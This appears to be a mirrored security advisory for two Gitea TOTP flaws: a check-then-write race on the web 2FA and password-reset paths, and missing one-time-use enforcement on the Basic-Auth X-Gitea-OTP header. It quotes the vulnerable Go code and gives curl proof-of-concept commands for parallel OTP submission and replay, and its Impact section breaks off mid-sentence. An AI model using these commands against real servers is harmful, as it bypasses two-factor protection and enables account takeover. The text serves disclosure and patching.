Résumé
Gitea: TOTP TOCTOU race on web 2FA paths + missing replay check on Basic-Auth `X-Gitea-OTP` surface
Détails de l’avis
Summary
I'm reporting two related TOTP one-time-use defects in Gitea that survive the CVE-2021-45331 fix. The 2018 fix (PR #3878) introduced the TwoFactor.LastUsedPasscode field and added an in-memory inequality check on the web 2FA login path. That check works correctly in the single-request case, but it leaves two follow-up gaps:
A TOCTOU race on the web surfaces (Defect 1). The read-validate-check-save sequence against the
two_factorrow is not atomic. Two parallel submissions of the same passcode each load their own in-memory copy whereLastUsedPasscodestill holds the prior value; both pass the inequality check, both authenticate, and both then write the same new value back. Net effect: the same OTP redeems for two independent logged-in sessions.No
LastUsedPasscodecheck at all on the Basic-Auth API surface (Defect 2).services/auth/basic.gocallstwofa.ValidateTOTP(...)forX-Gitea-OTPwithout ever reading or writingLastUsedPasscode. The same six-digit code is replayable for the fulltotp.Validateacceptance window (~60–90 s with the defaultSkew=1). This is a clean RFC 6238 §5.2 violation independent of timing, shaped identically to the pre-CVE-2021-45331 behaviour but scoped to the API / Git-over-HTTPS basic-auth path instead of the web form.
Both defects post-date the 2018 fix; neither is referenced in any published Gitea advisory I could find. I'm filing this as a follow-up to CVE-2021-45331, not a duplicate.
Vulnerable code
Defect 1 — TOCTOU race on web 2FA login
routers/web/auth/2fa.go:55-88:
54 id := idSess.(int64)
55 twofa, err := auth.GetTwoFactorByUID(ctx, id) // (A) read row
56 ...
62 ok, err := twofa.ValidateTOTP(form.Passcode) // (B) pure-function RFC 6238 check
...
68 if ok && twofa.LastUsedPasscode != form.Passcode { // (C) check against in-memory copy
...
84 twofa.LastUsedPasscode = form.Passcode // (D) mutate in-memory
85 if err = auth.UpdateTwoFactor(ctx, twofa); err != nil {// (E) UPDATE … AllCols where id=?
Step (E) is plain db.GetEngine(ctx).ID(t.ID).AllCols().Update(t) (models/auth/twofactor.go:128-131) — no row lock, no WHERE last_used_passcode = <previous> predicate, and no DB uniqueness on (uid, last_used_passcode). The model definition at models/auth/twofactor.go:48-57 shows LastUsedPasscode string is a plain column — no constraint, no version field.
Defect 1 — same shape, password-reset 2FA re-auth
routers/web/auth/password.go:179-196 shows the identical pattern in the password-reset flow:
179 passcode := ctx.FormString("passcode")
180 ok, err := twofa.ValidateTOTP(passcode)
...
185 if !ok || twofa.LastUsedPasscode == passcode { // same check-against-in-memory pattern
...
192 twofa.LastUsedPasscode = passcode
193 if err = auth.UpdateTwoFactor(ctx, twofa); err != nil {
Same shape, same race window.
Defect 2 — Basic-Auth API / Git-over-HTTPS (stateless replay — no check at all)
services/auth/basic.go:170-185:
func validateTOTP(req *http.Request, u *user_model.User) error {
twofa, err := auth_model.GetTwoFactorByUID(req.Context(), u.ID)
...
if ok, err := twofa.ValidateTOTP(req.Header.Get("X-Gitea-OTP")); err != nil { // :179
return err
} else if !ok {
return util.NewInvalidArgumentErrorf("invalid provided OTP")
}
return nil
}
LastUsedPasscode is neither read nor written on this path. The same six-digit code in X-Gitea-OTP succeeds for the full totp.Validate acceptance window on every request.
Why the existing failed-login counter doesn't catch either defect
Gitea's loginAttempts counter increments on failed sign-ins. A successful replay is a success — the counter is never touched, and two parallel successes produce two access tokens with no anomaly logged at the auth layer.
Race-window analysis (Defect 1)
Inside TwoFactorPost, the critical region between (A) GetTwoFactorByUID and (E) UpdateTwoFactor covers:
- one DB SELECT round-trip,
- base64-decode + AES-decrypt of the secret (
models/auth/twofactor.go:108-118), totp.Validate(HMAC-SHA1 over the secret + time-step),user_model.GetUserByID(a second SELECT),- optional
linkAccountFromContext/ OpenID link branch, - the assignment + UPDATE.
On a non-CPU-bound deployment this window is a few milliseconds on the fast path, tens of ms when linkAccount / OpenID branches are taken. An attacker who already holds both factors and can submit two POST /user/two_factor requests in parallel (HTTP/2 multiplexing, or two backgrounded curls) hits the race reliably — both goroutines enter step (C) with the same stale LastUsedPasscode, both reach step (D), both write the new value back. The two responses each set the user's session and KeyUserHasTwoFactorAuth = true.
The same window exists on the password-reset flow (routers/web/auth/password.go:179-193).
Defect 2 (basic-auth) is a different shape: no race needed. Every request that supplies the correct passcode within totp.Validate's skew window succeeds, indefinitely, until the time-step rolls.
Reachable HTTP routes
| Surface | Route | Defect |
|---|---|---|
| Web 2FA login | POST /user/two_factor (TwoFactorPost) |
1 — TOCTOU race |
| Password-reset 2FA re-auth | POST /user/password/reset (ResetPasswdPost) when twofa is set |
1 — TOCTOU race |
| Basic-Auth API | every API endpoint that accepts Basic auth with X-Gitea-OTP header (e.g. /api/v1/user, /api/v1/users/{username}/tokens) |
2 — stateless replay |
| Git-over-HTTPS push/pull | Basic-auth flow, same X-Gitea-OTP route into services/auth/basic.go:validateTOTP |
2 — stateless replay |
Proof of concept
Pre-conditions: attacker has the victim's password (credential dump, phish, separate vuln) and one live TOTP value within the RFC 6238 window (AiTM relay such as Evilginx2, malicious browser extension, infostealer log, shoulder-surf). Network reach to the Gitea HTTP listener.
Defect 1 — Web 2FA race (parallel curl)
# Step 1 — start a 2FA-pending session (password phase).
curl -c jar.txt -b jar.txt -d 'user_name=alice&password=<known>' \
https://gitea.example.com/user/login
# Step 2 — fire two identical POSTs to /user/two_factor with the captured passcode.
PASS=654321
( curl -sS -c jar1.txt -b jar.txt -X POST \
-d "passcode=${PASS}" https://gitea.example.com/user/two_factor & )
( curl -sS -c jar2.txt -b jar.txt -X POST \
-d "passcode=${PASS}" https://gitea.example.com/user/two_factor & )
wait
# Step 3 — both cookie jars now hold authenticated sessions for Alice.
curl -b jar1.txt https://gitea.example.com/user/settings # 200
curl -b jar2.txt https://gitea.example.com/user/settings # 200
Repeated trials succeed often enough to be exploitable; a kit firing N=5 parallel attempts hits the race on virtually every iteration. Note that the legitimate browser tab counts as one of the racers — the attacker's request only needs to arrive between the victim's (A) and the victim's (E).
Defect 2 — Basic-Auth API replay (no race needed)
# Attacker captured Alice's password + one live OTP (654321).
# Within the RFC 6238 window (~60–90 s):
curl -u "alice:<known-password>" \
-H "X-Gitea-OTP: 654321" \
https://gitea.example.com/api/v1/user
# → 200 OK. Repeat as many times as the time-step allows.
Each call succeeds. An attacker can mint a personal access token via POST /api/v1/users/{username}/tokens inside that window for long-lived access that outlives the captured OTP.
Impact
- Defect 1 (Web TOCTOU). Narrow exploit window but completely deterministic on parallel submission. The victim's own legitimate login is itself the trigger — no second observation of the OTP is needed if the attacker can race the
Références
- https://github.com/advisories/GHSA-gx3v-q759-g323
- https://github.com/go-gitea/gitea/security/advisories/GHSA-gx3v-q759-g323
- https://nvd.nist.gov/vuln/detail/CVE-2026-20779
- https://github.com/go-gitea/gitea/pull/38151
- https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9
- https://blog.gitea.com/release-of-1.26.3-and-1.26.4
- https://github.com/go-gitea/gitea/releases/tag/v1.26.3
Vulnérabilités liées
Tout Supply chain →- MEDIUMCVE-2026-84306
Filament: Multi-factor authentication (app) codes can still be used after a newer code has been used
- HIGHCVE-2026-54148
http4k: `DigestAuthProvider.verify` did not bind to request URI
- MEDIUMCVE-2026-55088
ep_etherpad-lite: Device-to-device author-token transfer endpoint is replayable, never expires, and exposes the cleartext author token
- HIGHCVE-2026-46369
nimiq-blockchain: Validity store off by one error
- CRITICALGHSA-wg23-69c2-gjc8
Craft CMS: Passkey login accepts replayed WebAuthn assertions
- HIGHGHSA-7q9c-hpx7-9cwm
TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop